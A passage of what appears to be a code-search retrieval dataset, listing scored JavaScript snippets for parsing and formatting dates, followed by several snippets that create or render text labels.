null){\n\t\tthrow new Error('no date found in ' + str);\n\t}\t\n\treturn new Date(+found[3],+found[2]-1,+found[1]);\n}", "title": "" }, { "docid": "f259cc095d080652886456d0c10288a9", "score": "0.5591485", "text": "function formatDate(date, split){\n\n let year = date.getFullYear();\n let month = date.getMonth() + 1;\n let day = date.getDate();\n\n if(month < 9) {\n month = \"0\" + month;\n }\n\n if (day < 10) {\n day = \"0\" + day;\n }\n \n return day + split + month + split + year;\n}", "title": "" }, { "docid": "878cbea509cd885cc8978892ae481866", "score": "0.5589271", "text": "function parseMMDDDateString(value)\n{\n var day, month;\n // format is fixed as MM/DD\n var c = value.split(/[\\/]/);\n if (c.length != 2) {\n return null;\n }\n // first month then day\n month = parseInt(c[0],10)-1;\n day = parseInt(c[1],10);\n\n return {\n month: month,\n day: day\n };\n}", "title": "" }, { "docid": "1a7c59b2767c248e3ad92d00982a4150", "score": "0.557799", "text": "function formatDate(dateformat, iso8601date) {\n dateparts = iso8601date.split(\"-\");\n year = dateparts[0];\n month = dateparts[1];\n day = dateparts[2];\n\n\n retstring = dateformat.toUpperCase();\n\n retstring = retstring.replace(\"YYYY\", year);\n retstring = retstring.replace(\"MM\", month);\n retstring = retstring.replace(\"DD\", day);\n\n return retstring;\n\n\n\n}", "title": "" }, { "docid": "a596d534ff59d06eff240fbc639d0866", "score": "0.5577316", "text": "function parseDateTimeSkeleton(skeleton) {\n var result = {};\n skeleton.replace(DATE_TIME_REGEX, function (match) {\n var len = match.length;\n switch (match[0]) {\n // Era\n case 'G':\n result.era = len === 4 ? 'long' : len === 5 ? 'narrow' : 'short';\n break;\n // Year\n case 'y':\n result.year = len === 2 ? '2-digit' : 'numeric';\n break;\n case 'Y':\n case 'u':\n case 'U':\n case 'r':\n throw new RangeError('`Y/u/U/r` (year) patterns are not supported, use `y` instead');\n // Quarter\n case 'q':\n case 'Q':\n throw new RangeError('`q/Q` (quarter) patterns are not supported');\n // Month\n case 'M':\n case 'L':\n result.month = ['numeric', '2-digit', 'short', 'long', 'narrow'][len - 1];\n break;\n // Week\n case 'w':\n case 'W':\n throw new RangeError('`w/W` (week) patterns are not supported');\n case 'd':\n result.day = ['numeric', '2-digit'][len - 1];\n break;\n case 'D':\n case 'F':\n case 'g':\n throw new RangeError('`D/F/g` (day) patterns are not supported, use `d` instead');\n // Weekday\n case 'E':\n result.weekday = len === 4 ? 'short' : len === 5 ? 'narrow' : 'short';\n break;\n case 'e':\n if (len < 4) {\n throw new RangeError('`e..eee` (weekday) patterns are not supported');\n }\n result.weekday = ['short', 'long', 'narrow', 'short'][len - 4];\n break;\n case 'c':\n if (len < 4) {\n throw new RangeError('`c..ccc` (weekday) patterns are not supported');\n }\n result.weekday = ['short', 'long', 'narrow', 'short'][len - 4];\n break;\n // Period\n case 'a': // AM, PM\n result.hour12 = true;\n break;\n case 'b': // am, pm, noon, midnight\n case 'B': // flexible day periods\n throw new RangeError('`b/B` (period) patterns are not supported, use `a` instead');\n // Hour\n case 'h':\n result.hourCycle = 'h12';\n result.hour = ['numeric', '2-digit'][len - 1];\n break;\n case 'H':\n result.hourCycle = 'h23';\n result.hour = ['numeric', '2-digit'][len - 1];\n break;\n case 'K':\n result.hourCycle = 'h11';\n result.hour = ['numeric', '2-digit'][len - 1];\n break;\n case 'k':\n result.hourCycle = 'h24';\n result.hour = ['numeric', '2-digit'][len - 1];\n break;\n case 'j':\n case 'J':\n case 'C':\n throw new RangeError('`j/J/C` (hour) patterns are not supported, use `h/H/K/k` instead');\n // Minute\n case 'm':\n result.minute = ['numeric', '2-digit'][len - 1];\n break;\n // Second\n case 's':\n result.second = ['numeric', '2-digit'][len - 1];\n break;\n case 'S':\n case 'A':\n throw new RangeError('`S/A` (second) patterns are not supported, use `s` instead');\n // Zone\n case 'z': // 1..3, 4: specific non-location format\n result.timeZoneName = len < 4 ? 'short' : 'long';\n break;\n case 'Z': // 1..3, 4, 5: The ISO8601 varios formats\n case 'O': // 1, 4: miliseconds in day short, long\n case 'v': // 1, 4: generic non-location format\n case 'V': // 1, 2, 3, 4: time zone ID or city\n case 'X': // 1, 2, 3, 4: The ISO8601 varios formats\n case 'x': // 1, 2, 3, 4: The ISO8601 varios formats\n throw new RangeError('`Z/O/v/V/X/x` (timeZone) patterns are not supported, use `z` instead');\n }\n return '';\n });\n return result;\n}", "title": "" }, { "docid": "4762111f70068bca32ccf349c9f44531", "score": "0.5574244", "text": "function parse(date, cMonth, cDay) {\n\n // Empty/undefined date is invalid\n if (typeof date === \"undefined\" || !date.length > 1) {\n return false;\n }\n\n var year = null, month = null, day = null;\n date = date.toString();\n\n var parts = normalize(date).split(\" \");\n\n // Find the year\n for (var i=0; i < parts.length; i++) {\n if (isYear(parts[i]) || isShortYear(parts[i])) {\n year = parts[i];\n\n if (isShortYear(year)) {\n // 2015 + '12 ==> 2012\n // 2122 + '92 ==> 2192\n var tmp = new Date().getFullYear().toString().slice(0, 2)\n year = tmp + parts[i].slice(1)\n }\n\n parts.splice(i, 1);\n break;\n }\n }\n\n // Find month by written name\n var foundMonth = false;\n\n for (var i=0; i < parts.length; i++) {\n if (isNotNumeric(parts[i])) {\n month = lookupMonth(parts[i]);\n\n if (month >= 0) {\n foundMonth = true;\n parts.splice(i, 1);\n break;\n }\n }\n }\n\n // Filter all that cannot be day/month nr.\n parts = parts.filter(function(p) {\n return isInt(p) && +p <= 31;\n });\n\n // If the month is found, just pick the first number as the day\n if (foundMonth) {\n if (parts[0]) {\n day = +parts[0];\n }\n else if (cDay === \"end\") {\n day = endOfMonth(month);\n }\n else {\n day = 1;\n }\n }\n else if (parts.length >= 2) {\n month = -1;\n\n // TODO\n // Allow option to prefer MM-DD-YYYY over DD-MM-YYYY\n // - For now its DD-MM-YYYY\n\n if (isAmbiguousDate(parts[0], parts[1]) || +parts[0] > 12) {\n day = parts[0];\n month = parts[1];\n }\n else {\n day = parts[1];\n month = parts[0];\n }\n }\n // Assumes only a month number is provided\n else if (parts.length === 1 && +parts[0] <= 12) {\n month = +parts[0];\n }\n\n\n // Date validation\n if ((year && year > 1800) && ((!day && !month) || acceptableDayMonthCombo(day, month))) {\n // Set default day if nothing found\n if (!day) {\n day = (cDay === \"end\") ? endOfMonth(month||cMonth) : 1;\n }\n\n // Month is zero based index\n var current = new Date(year, (month||cMonth)-1, day);\n\n return current;\n }\n\n\n return false;\n }", "title": "" }, { "docid": "f6682442661c19692dcf9d9883d87e49", "score": "0.5572843", "text": "function parseDate(input){\n\tif(input){\n\t\t var parts = input.split('-');\n\t\tvar string_to_return\t= parts[2]+'-'+parts[1]+'-'+parts[0];\n\t\treturn string_to_return;\n\t}else{\n\t\treturn \"\";\n\t}\n \n\t//new Date(year, month [, day [, hours[, minutes[, seconds[, ms]]]]])\n\t//return new Date(parts[0], parts[1]-1, parts[2]); // Note: months are 0-based\n}", "title": "" }, { "docid": "1301d12fbe6ccab8503143aaeca82c96", "score": "0.5570587", "text": "function dateGet(){\n var newDate = new Date();\n// var to store the month\n var newMonth = newDate.getMonth() + 1;\n// var to store the day\n var newDay = newDate.getDate();\n// var to store the year\n var newYear = newDate.getFullYear();\n\n var twoYear = (\"\"+newYear).split(\"\");\n\n var combinedYear = twoYear[2] + twoYear[3];\n\n // var dateArr = [newMonth, newDay, combinedYear];\n\n var fullDate = 0;\n\n // var d = dayGet(newDay);\n // var y = yearGet(combinedYear);\n // var m = monthGet(newMonth);\n \n // fullDate === d+m+y;\n\n if (newMonth < 10){\n fullDate += 0 + newMonth + '/';\n } else {\n fullDate += newMonth + '/';\n }\n\n if (newDay < 10){\n fullDate += 0 + newDay + '/';\n } else {\n fullDate += newDay + '/';\n }\n\n if (combinedYear < 10){\n fullDate += 0 + combinedYear;\n } else {\n fullDate += combinedYear;\n }\n\n console.log(fullDate);\n}", "title": "" }, { "docid": "0a5070bc7e45ceb20eb39ecd422066e0", "score": "0.5563295", "text": "function SimpleDateFormat(pattern) {\n this.pattern = pattern;\n this.regex = new RegExp(\"^\" + pattern.replace(\"yyyy\", \"\\\\d{4}\").replace(\"MM\", \"(0\\\\d|1[12])\").replace(\"dd\", \"([0-2]\\\\d|3[0-1])\")\n .replace(\"HH\", \"([0-1]\\\\d|2[0-3])\").replace(\"hh\", \"(0\\\\d|1[0-2])\").replace(\"mm\", \"[0-5]\\\\d\").replace(\"ss\", \"[0-5]\\\\d\") + \"$\");\n this.position = {\n year: pattern.indexOf(\"yyyy\"), month: pattern.indexOf(\"MM\"), day: pattern.indexOf(\"dd\"),\n hour: pattern.toLowerCase().indexOf(\"hh\"), minute: pattern.indexOf(\"mm\"), second: pattern.indexOf(\"ss\")\n };\n this.parse = function (source) {\n if (!this.regex.test(source))\n throw new Error(\"Unparseable date: \\\"\" + source + \"\\\"\");\n var time = {\n year: source.substr(this.position.year, 4),\n month: source.substr(this.position.month, 2),\n day: source.substr(this.position.day, 2)\n };\n if (this.position.hour != -1)\n time.hour = source.substr(this.position.hour, 2);\n if (this.position.minute != -1)\n time.minute = source.substr(this.position.minute, 2);\n if (this.position.second != -1)\n time.second = source.substr(this.position.second, 2);\n var day31 = \"01,03,05,07,08,10,12\";\n if (time.day == 31 && day31.indexOf(time.month) == -1)\n throw new Error(\"Unparseable date: \\\"\" + source + \"\\\"\");\n if (time.month == 2 && time.day == 29 && !(time.year % 4 == 0 && time.year % 100 != 0)\n && !(time.year % 100 == 0 && time.year % 400 == 0)) {\n throw new Error(\"Unparseable date: \\\"\" + source + \"\\\"\");\n }\n var date = new Date();\n date.setFullYear(time.year, time.month - 1, time.day);\n if (time.hour != undefined) date.setHours(time.hour);\n if (time.minute != undefined) date.setMinutes(time.minute);\n if (time.second != undefined) date.setSeconds(time.second);\n return date;\n };\n this.format = function (date) {\n function fmt(v, n) {\n for (var i = n - (v + \"\").length; i > 0; i--) {\n v = \"0\" + v;\n }\n return v;\n }\n var h24 = date.getHours();\n return this.pattern.replace(\"yyyy\", fmt(date.getFullYear(), 4)).replace(\"MM\", fmt(date.getMonth() + 1, 2))\n .replace(\"dd\", fmt(date.getDate(), 2)).replace(\"HH\", fmt(h24, 2)).replace(\"hh\", fmt((h24 - 1) % 12 + 1, 2))\n .replace(\"mm\", fmt(date.getMinutes(), 2)).replace(\"ss\", fmt(date.getSeconds(), 2));\n };\n}", "title": "" }, { "docid": "c2a6ed074dd563293ceef005771a3f05", "score": "0.55624986", "text": "datePrettifier(str) {\n var date = str.split(\" \");\n var day = date[0];\n var month = date[1];\n var dateNum = date[2];\n var year = date[3];\n var retStr = day + \" \" + month + \" \" + dateNum + \" \" + year;\n return retStr;\n }", "title": "" }, { "docid": "885189733ae3aa2f86ac9bd0a199cce7", "score": "0.55558354", "text": "static date2string (date, version) {\n let strDate = ''\n if (version === 'input') {\n // 2000-12-30\n strDate = date.getFullYear() + '-' + ('0' + (date.getMonth() + 1)).slice(-2) + '-' + ('0' + date.getDate()).slice(-2)\n } else {\n // 1.9.2000\n strDate = date.getDate() + '.' + (date.getMonth() + 1) + '.' + date.getFullYear()\n }\n return strDate\n }", "title": "" }, { "docid": "c2f556af5013c0a3c747aa592da1dab7", "score": "0.5553429", "text": "function converteData(date){\n const data = date.split('-')\n const dia = data[2]\n const mes = data[1]\n const ano = data[0]\n const dataFinal = `${dia}/${mes}/${ano}`\n return dataFinal\n}", "title": "" }, { "docid": "d5309f93cb42e34fd47d993b2983eb34", "score": "0.55532604", "text": "function _customJsonDate(date) {\n var myRegExp = /(\\d{4})\\-(\\d{2})\\-(\\d{2})(.*)/g;\n var match = myRegExp.exec(date);\n return {\n year: match[1],\n month: match[2] - 1,\n day: match[3]\n };\n }", "title": "" }, { "docid": "78c9be07becf9e20729ee20efae02f72", "score": "0.5552053", "text": "function getdate(str) {\n\t\t\t// inner util function to convert 2-digit years to 4\n\t\t\tfunction fixYear(yr) {\n\t\t\t\tyr = +yr;\n\t\t\t\tif (yr<50) { yr += 2000; }\n\t\t\t\telse if (yr<100) { yr += 1900; }\n\t\t\t\treturn yr;\n\t\t\t};\n\t\t\tvar ret;\n\t\t\t// YYYY-MM-DD\n\t\t\tif (ret=str.match(/(\\d{2,4})-(\\d{1,2})-(\\d{1,2})/)) {\n\t\t\t\treturn (fixYear(ret[1])*10000) + (ret[2]*100) + (+ret[3]);\n\t\t\t}\n\t\t\t// MM/DD/YY[YY] or MM-DD-YY[YY]\n\t\t\tif (ret=str.match(/(\\d{1,2})[\\/-](\\d{1,2})[\\/-](\\d{2,4})/)) {\n\t\t\t\treturn (fixYear(ret[3])*10000) + (ret[1]*100) + (+ret[2]);\n\t\t\t}\n\t\t\treturn 99999999; // So non-parsed dates will be last, not first\n\t\t}", "title": "" }, { "docid": "74f44026b920fccd53a60fc5e6485701", "score": "0.55510443", "text": "function birthdayConvert(data) {\nconst year = data.slice(0, 4);\nconst day = data.slice(8, 10);\nconst month = data.slice(5, 7);\n const birthday = `${month}/${day}/${year}`\n return birthday\n}", "title": "" }, { "docid": "40b8be1b3b65d7117568cab634761634", "score": "0.55498767", "text": "function getDateFromFormat(val,format) {\n\tval=val+\"\";\n\tformat=format+\"\";\n\tvar i_val=0;\n\tvar i_format=0;\n\tvar c=\"\";\n\tvar token=\"\";\n\tvar x,y;\n\tvar now=new Date();\n\tvar year=now.getYear();\n\tvar month=now.getMonth()+1;\n\tvar date=1;\n\t\t\n\twhile (i_format < format.length) {\n\t\t// Get next token from format string\n\t\tc=format.charAt(i_format);\n\t\ttoken=\"\";\n\t\twhile ((format.charAt(i_format)==c) && (i_format < format.length)) {\n\t\t\ttoken += format.charAt(i_format++);\n\t\t\t}\n\t\t// Extract contents of value based on format token\n\t\tif (token==\"yyyy\" || token==\"yy\" || token==\"y\") {\n\t\t\tif (token==\"yyyy\") { x=4;y=4; }\n\t\t\tif (token==\"yy\") { x=2;y=2; }\n\t\t\tif (token==\"y\") { x=2;y=4; }\n\t\t\tyear=_getInt(val,i_val,x,y);\n\t\t\tif (year==null) { return 0; }\n\t\t\ti_val += year.length;\n\t\t\tif (year.length==2) {\n\t\t\t\tif (year > 70) { year=1900+(year-0); }\n\t\t\t\telse { year=2000+(year-0); }\n\t\t\t\t}\n\t\t\t}\n\t\telse if (token==\"MM\"||token==\"M\") {\n\t\t\tmonth=_getInt(val,i_val,token.length,2);\n\t\t\tif(month==null||(month<1)||(month>12)){return 0;}\n\t\t\ti_val+=month.length;}\n\t\telse if (token==\"dd\"||token==\"d\") {\n\t\t\tdate=_getInt(val,i_val,token.length,2);\n\t\t\tif(date==null||(date<1)||(date>31)){return 0;}\n\t\t\ti_val+=date.length;}\n\t\telse {\n\t\t\tif (val.substring(i_val,i_val+token.length)!=token) {return 0;}\n\t\t\telse {i_val+=token.length;}\n\t\t\t}\n\t\t}\n\t// If there are any trailing characters left in the value, it doesn't match\n\tif (i_val != val.length) { return 0; }\n\t// Is date valid for month?\n\tif (month==2) {\n\t\t// Check for leap year\n\t\tif ( ( (year%4==0)&&(year%100 != 0) ) || (year%400==0) ) { // leap year\n\t\t\tif (date > 29){ return 0; }\n\t\t\t}\n\t\telse { if (date > 28) { return 0; } }\n\t\t}\n\tif ((month==4)||(month==6)||(month==9)||(month==11)) {\n\t\tif (date > 30) { return 0; }\n\t\t}\n\tvar newdate=new Date(year,month-1,date);\n\treturn newdate;\n\t}", "title": "" }, { "docid": "82a391c4eea68452c9c20cda41094ff5", "score": "0.5545266", "text": "function parseDate(day, month, year){\n let months = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \n \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\"];\n return months[month-1] + \" \" + day + \", \" + year;\n}", "title": "" }, { "docid": "ef89d71a18d2c22d984df83eac80b913", "score": "0.5544232", "text": "function parseDate(date){\n try{\n let newDate = new Date(date) // \"2020-01-26\"\n let dd = String(newDate.getDate()).padStart(2, '0')\n let mm = String(newDate.getMonth() + 1).padStart(2, '0') //January is 0!\n let yyyy = newDate.getFullYear()\n let convertedDate = yyyy + '-' + mm + '-' + dd\n console.log(\"CDATE\", convertedDate)\n return convertedDate\n }\n catch(er){\n return \"NaN.NaN.NaN\"\n }\n }", "title": "" }, { "docid": "37b8deb4ab4d698dbca2eb74fe0becca", "score": "0.55437714", "text": "function formatDate(date) {\r\n\tif (date.value.substring(0,4)==Number(date.value.substring(0,4))&&date.value.substring(5,7)==Number(date.value.substring(5,7))&&date.value.substring(8,10)==Number(date.value.substring(8,10))) { //test for correct format\r\n\t\tdate.value=date.value.substring(0,4)+\"-\"+date.value.substring(5,7)+\"-\"+date.value.substring(8,10);\r\n\t} else {\r\n\tdatev=new Date(date.value);\r\n\tformat = \"yyyy-MM-dd\";\r\n\tvar result = \"\";\r\n\tvar i_format = 0;\r\n\tvar c = \"\";\r\n\tvar token = \"\";\r\n\tvar y = datev.getYear()+\"\";\r\n\tvar M = datev.getMonth()+1;\r\n\tvar d = datev.getDate();\r\n\tvar H = datev.getHours();\r\n\tvar m = datev.getMinutes();\r\n\tvar s = datev.getSeconds();\r\n\tvar yyyy,yy,MMM,MM,dd,hh,h,mm,ss,ampm,HH,H,KK,K,kk,k;\r\n\t// Convert real date parts into formatted versions\r\n\t// Year\r\n\tif (y.length < 4) {\r\n\t\tif (y < 60) {\r\n\t\t\ty = y-0+100;\r\n\t\t}\r\n\t\ty = y-0+1900;\r\n\t\t}\r\n\ty = \"\"+y;\r\n\tyyyy = y;\r\n\tyy = y.substring(2,4);\r\n\t// Month\r\n\tif (M < 10) { MM = \"0\"+M; }\r\n\t\telse { MM = M; }\r\n\tMMM = MONTH_NAMES[M-1];\r\n\t// Date\r\n\tif (d < 10) { dd = \"0\"+d; }\r\n\t\telse { dd = d; }\r\n\t// Hour\r\n\th=H+1;\r\n\tK=H;\r\n\tk=H+1;\r\n\tif (h > 12) { h-=12; }\r\n\tif (h == 0) { h=12; }\r\n\tif (h < 10) { hh = \"0\"+h; }\r\n\t\telse { hh = h; }\r\n\tif (H < 10) { HH = \"0\"+K; }\r\n\t\telse { HH = H; }\r\n\tif (K > 11) { K-=12; }\r\n\tif (K < 10) { KK = \"0\"+K; }\r\n\t\telse { KK = K; }\r\n\tif (k < 10) { kk = \"0\"+k; }\r\n\t\telse { kk = k; }\r\n\t// AM/PM\r\n\tif (H > 11) { ampm=\"PM\"; }\r\n\telse { ampm=\"AM\"; }\r\n\t// Minute\r\n\tif (m < 10) { mm = \"0\"+m; }\r\n\t\telse { mm = m; }\r\n\t// Second\r\n\tif (s < 10) { ss = \"0\"+s; }\r\n\t\telse { ss = s; }\r\n\t// Now put them all into an object!\r\n\tvar value = new Object();\r\n\tvalue[\"yyyy\"] = yyyy;\r\n\tvalue[\"yy\"] = yy;\r\n\tvalue[\"y\"] = y;\r\n\tvalue[\"MMM\"] = MMM;\r\n\tvalue[\"MM\"] = MM;\r\n\tvalue[\"M\"] = M;\r\n\tvalue[\"dd\"] = dd;\r\n\tvalue[\"d\"] = d;\r\n\tvalue[\"hh\"] = hh;\r\n\tvalue[\"h\"] = h;\r\n\tvalue[\"HH\"] = HH;\r\n\tvalue[\"H\"] = H;\r\n\tvalue[\"KK\"] = KK;\r\n\tvalue[\"K\"] = K;\r\n\tvalue[\"kk\"] = kk;\r\n\tvalue[\"k\"] = k;\r\n\tvalue[\"mm\"] = mm;\r\n\tvalue[\"m\"] = m;\r\n\tvalue[\"ss\"] = ss;\r\n\tvalue[\"s\"] = s;\r\n\tvalue[\"a\"] = ampm;\r\n\twhile (i_format < format.length) {\r\n\t\t// Get next token from format string\r\n\t\tc = format.charAt(i_format);\r\n\t\ttoken = \"\";\r\n\t\twhile ((format.charAt(i_format) == c) && (i_format < format.length)) {\r\n\t\t\ttoken += format.charAt(i_format);\r\n\t\t\ti_format++;\r\n\t\t\t}\r\n\t\tif (value[token] != null) {\r\n\t\t\tresult = result + value[token];\r\n\t\t\t}\r\n\t\telse {\r\n\t\t\tresult = result + token;\r\n\t\t\t}\r\n\t\t}\r\n\tdate.value=result;\r\n\t}\r\n\t}", "title": "" }, { "docid": "ed348a9446516d58a0d6ca589edd4111", "score": "0.55423164", "text": "function format(date) \n {\n date = new Date(date); \n var day = ('0' + date.getDate()).slice(-2);\n var month = ('0' + (date.getMonth() + 1)).slice(-2);\n var year = date.getFullYear();\n return year + '-' + month + '-' + day;\n }", "title": "" }, { "docid": "2f74df8bf645d4bfacc7c037aed468d8", "score": "0.55420613", "text": "function formatBirthday(rawBirthday) {\n const regex = /(\\d{2})(\\d{2})-(\\d{2})-(\\d{2})/;\n bday = rawBirthday.match(regex);\n return bday[3] + \"/\" + bday[4] + \"/\" + bday[2];\n}", "title": "" }, { "docid": "a6430560ec895b982290975de46560f8", "score": "0.55354667", "text": "function formatDate(date) {\n var d = new Date(date),\n month = \"\" + (d.getMonth() + 1),\n day = \"\" + d.getDate(),\n year = d.getFullYear();\n\n if (month.length < 2) month = \"0\" + month;\n if (day.length < 2) day = \"0\" + day;\n\n return [year, month, day].join(\"-\");\n }", "title": "" }, { "docid": "d9e0fad4f89c89eaeac71ca3e1cb390e", "score": "0.55336034", "text": "function parseDateToString(date, format) {\n var templateParts = {\n dd: (date.getDate() < 10 ? '0' : '') + date.getDate(),\n mm: (date.getMonth() + 1 < 10 ? '0' : '') + (date.getMonth() + 1),\n yyyy: date.getFullYear()\n }\n\n var dateString = format\n for(var key in templateParts) {\n var value = templateParts[key]\n dateString = dateString.replace(key, value)\n }\n return dateString\n }", "title": "" }, { "docid": "216e14849caf358f8dab8b0634af6be8", "score": "0.5533116", "text": "function formatDate(date) {\n var d = new Date(date),\n month = '' + (d.getMonth() + 1),\n day = '' + d.getDate(),\n year = d.getFullYear();\n\n if (month.length < 2) month = '0' + month;\n if (day.length < 2) day = '0' + day;\n\n return [year, month, day].join('-');\n }", "title": "" }, { "docid": "85412d80fb9ff3a260a62db0189b70d5", "score": "0.5531651", "text": "function formatDateForInput(date) {\n var day = (\"0\" + date.getDate()).slice(-2);\n var month = (\"0\" + (date.getMonth() + 1)).slice(-2);\n return date.getFullYear() + \"-\" + month + \"-\" + day;\n}", "title": "" }, { "docid": "0fa319b45776fa322f307eb5b4e3fb78", "score": "0.55293864", "text": "function parseDate(d) {\n return new Date(2001,\n d.substring(0, 2) - 1,\n d.substring(2, 4),\n d.substring(4, 6),\n d.substring(6, 8));\n }", "title": "" } ]
856fe2ca1345a9032620ab2bae08d64e
Hanko label text (can be used instead of `children`).
[ { "docid": "6a4765e434a7677ac3e55ff378db624e", "score": "0.0", "text": "familyName(props, propName) {\n\t\t\tif ((props.children === '') && (props[propName] === '')) {\n\t\t\t\treturn new Error(\n\t\t\t\t\t'Please provide either a familyName or children prop to render <Hanko />.'\n\t\t\t\t);\n\t\t\t}\n\t\t}", "title": "" } ]
[ { "docid": "c73b51e3cb5d7f9387a0c33ff6ad9416", "score": "0.7261253", "text": "getLabel() { return this.core.textContent; }", "title": "" }, { "docid": "13c5348fcd4793409c059dffb791cb90", "score": "0.7246027", "text": "function makeLabel(text) {\n return `<span class=\"inline-label post-label\">${text}:&nbsp;</span>`\n }", "title": "" }, { "docid": "d6691f140177db4d2581befd78746703", "score": "0.720438", "text": "label(text, size = -1) {\n //TODO\n }", "title": "" }, { "docid": "179f449519450b8ccbf7a5caf0415127", "score": "0.71566415", "text": "function make_label(label) {\n body.push({type: 'label', text: label, style: \"font-weight: bold;\" });\n }", "title": "" }, { "docid": "fb2336b658c571eba82610ba21ab5d94", "score": "0.71525854", "text": "function labelFn(label) {\n return \" - \" + label;\n }", "title": "" }, { "docid": "73f81e3086cbc3cdcbb5d886b86f298f", "score": "0.71448004", "text": "getLabel() {}", "title": "" }, { "docid": "e4a175661ec9e138075c0cfd0b03d8df", "score": "0.7121382", "text": "function getLabelText(label, text) {\n return (\n <div className=\"labeltext cpointer\">\n <label>{label}</label>\n <span>{text}</span>\n </div>\n )\n}", "title": "" }, { "docid": "58c4e7dcc4858d9f3f66be1c1e0beb28", "score": "0.7102518", "text": "function CLC_Content_FindLabelText(target){\r\n var logicalLineage = CLC_GetLogicalLineage(target);\r\n var labelText = \"\";\r\n for (var i=0; i < logicalLineage.length; i++){\r\n if (logicalLineage[i].tagName && (logicalLineage[i].tagName.toLowerCase() == \"label\")){\r\n labelText = labelText + \" \" + logicalLineage[i].textContent;\r\n }\r\n }\r\n return labelText;\r\n }", "title": "" }, { "docid": "4bcfa970dc003101d05581b1759ad14a", "score": "0.70336616", "text": "getLabel() { return this.labelP.innerText; }", "title": "" }, { "docid": "015789a97ed4f32bf7633d67f551a9f7", "score": "0.6980467", "text": "getLabel() {\n return '';\n }", "title": "" }, { "docid": "8a5a9d9723e0481138608488c9d9d499", "score": "0.6909636", "text": "function TLabel(){}", "title": "" }, { "docid": "0e52beaf6762944375697aaa23103285", "score": "0.6905319", "text": "function label(options) {\n if ( options === void 0 ) options = {};\n\n logger.deprecated('label', 'The label module has been replaced by the badge module');\n var context = options.context;\n return palette$1.context(span('hx-label'), context);\n}", "title": "" }, { "docid": "5e23fad7e01bf1cb59ee38680dc3ed94", "score": "0.6870724", "text": "function addTextLabel(root,node){var domNode=root.append(\"text\");var lines=processEscapeSequences(node.label).split(\"\\n\");for(var i=0;i<lines.length;i++){domNode.append(\"tspan\").attr(\"xml:space\",\"preserve\").attr(\"dy\",\"1em\").attr(\"x\",\"1\").text(lines[i])}util.applyStyle(domNode,node.labelStyle);return domNode}", "title": "" }, { "docid": "f77b1c9bf930626885a87df045f83215", "score": "0.6866166", "text": "static set label(value) {}", "title": "" }, { "docid": "297c5e7ca524b79234a0bd389b2df9e8", "score": "0.68473834", "text": "function label(content, islots) { // can a label have kids?\n\treturn tag('label', Object.assign( {content: content}, islots), cddrArgs(arguments));\n}", "title": "" }, { "docid": "29919d4ca67a828e5b97172809921e77", "score": "0.67610294", "text": "function Label(options) {\r\n // Initialization\r\n this.setValues(options);\r\n\r\n // Label specific\r\n var span = this._span = document.createElement('span');\r\n span.style.cssText = 'position: relative; left: -50%; top: -65px; white-space: nowrap; border: 0; padding: 0px; font-size: 12px; color:black;';\r\n\r\n var div = this._div = document.createElement('div');\r\n div.appendChild(span);\r\n div.style.cssText = 'position: absolute; display: none';\r\n\r\n this._text = options.text;\r\n}", "title": "" }, { "docid": "d6af6e5b0f34e9fb0562713f27869300", "score": "0.67457825", "text": "getLabel() {\n return this._text ? (this._text.nativeElement.textContent || '') : '';\n }", "title": "" }, { "docid": "d6af6e5b0f34e9fb0562713f27869300", "score": "0.67457825", "text": "getLabel() {\n return this._text ? (this._text.nativeElement.textContent || '') : '';\n }", "title": "" }, { "docid": "b9ea00e21a75e30655bfe780450f202f", "score": "0.672131", "text": "renderLabel(props, children) {\n // NOTE: render label as an empty string... ???\n if (props.title === null || props.title === undefined) return undefined;\n\n const labelProps = mergeProps(\n props.labelProps,\n definedProperties(props, ...this.constructor.labelProps),\n );\n if (children) labelProps.children = children;\n\n return React.createElement(Editor_Label, labelProps);\n }", "title": "" }, { "docid": "7b0035dc2569f85d9a0f165740ad711b", "score": "0.6710713", "text": "function labelBuild(nodeGroup, renderNodeInfo, sceneElement) {\n var namePath = renderNodeInfo.node.name.split('/');\n var text = namePath[namePath.length - 1];\n // Truncate long labels for unexpanded Metanodes.\n var useFontScale = renderNodeInfo.node.type === graph.NodeType.META &&\n !renderNodeInfo.expanded;\n var label = scene.selectOrCreateChild(nodeGroup, 'text', scene.Class.Node.LABEL);\n // Make sure the label is visually on top among its siblings.\n var labelNode = label.node();\n labelNode.parentNode.appendChild(labelNode);\n label.attr('dy', '.35em').attr('text-anchor', 'middle');\n if (useFontScale) {\n if (text.length > sceneElement.maxMetanodeLabelLength) {\n text = text.substr(0, sceneElement.maxMetanodeLabelLength - 2) + '...';\n }\n var scale = getLabelFontScale(sceneElement);\n label.attr('font-size', scale(text.length) + 'px');\n }\n var txtElement = label.text(text);\n enforceLabelWidth(txtElement, renderNodeInfo.node.type, renderNodeInfo);\n return label;\n }", "title": "" }, { "docid": "64a7905fa86c2273f4d415952b6d2429", "score": "0.6695195", "text": "function setText(text) {\n svg.selectAll(\".label\").text(text);\n }", "title": "" }, { "docid": "330fc15913c999834d10944c4731d863", "score": "0.6675447", "text": "static get boldLabel() {}", "title": "" }, { "docid": "7dadb1e55ab05ed34d9c928ad7cb52c1", "score": "0.6659436", "text": "function addTextLabel(root, node) {\n var domNode = root.append(\"text\");\n\n var lines = processEscapeSequences(node.label).split(\"\\n\");\n for (var i = 0; i < lines.length; i++) {\n domNode.append(\"tspan\").attr(\"xml:space\", \"preserve\").attr(\"dy\", \"1em\").attr(\"x\", \"1\").text(lines[i]);\n }\n\n util.applyStyle(domNode, node.labelStyle);\n\n return domNode;\n}", "title": "" }, { "docid": "81737a86357df05575f2a375c0add62f", "score": "0.6652221", "text": "function renderLabel(label) {\n var labelColor = hex2rgb(label.color).map(function(val) { return val; });\n write(' ');\n charm.background(labelColor[0], labelColor[1], labelColor[2]);\n write(' ');\n charm.background(0, 0, 0);\n write(' ' + label.name);\n }", "title": "" }, { "docid": "cff3503973202846a372f275f09c212b", "score": "0.66294485", "text": "static set boldLabel(value) {}", "title": "" }, { "docid": "119111d5c2c59c39ef28f097be817f8b", "score": "0.6613966", "text": "function addTextLabel(root, node) {\n var domNode = root.append(\"text\");\n\n var lines = processEscapeSequences(node.label).split(\"\\n\");\n for (var i = 0; i < lines.length; i++) {\n domNode.append(\"tspan\")\n .attr(\"xml:space\", \"preserve\")\n .attr(\"dy\", \"1em\")\n .attr(\"x\", \"1\")\n .text(lines[i]);\n }\n\n util.applyStyle(domNode, node.labelStyle);\n\n return domNode;\n}", "title": "" }, { "docid": "119111d5c2c59c39ef28f097be817f8b", "score": "0.6613966", "text": "function 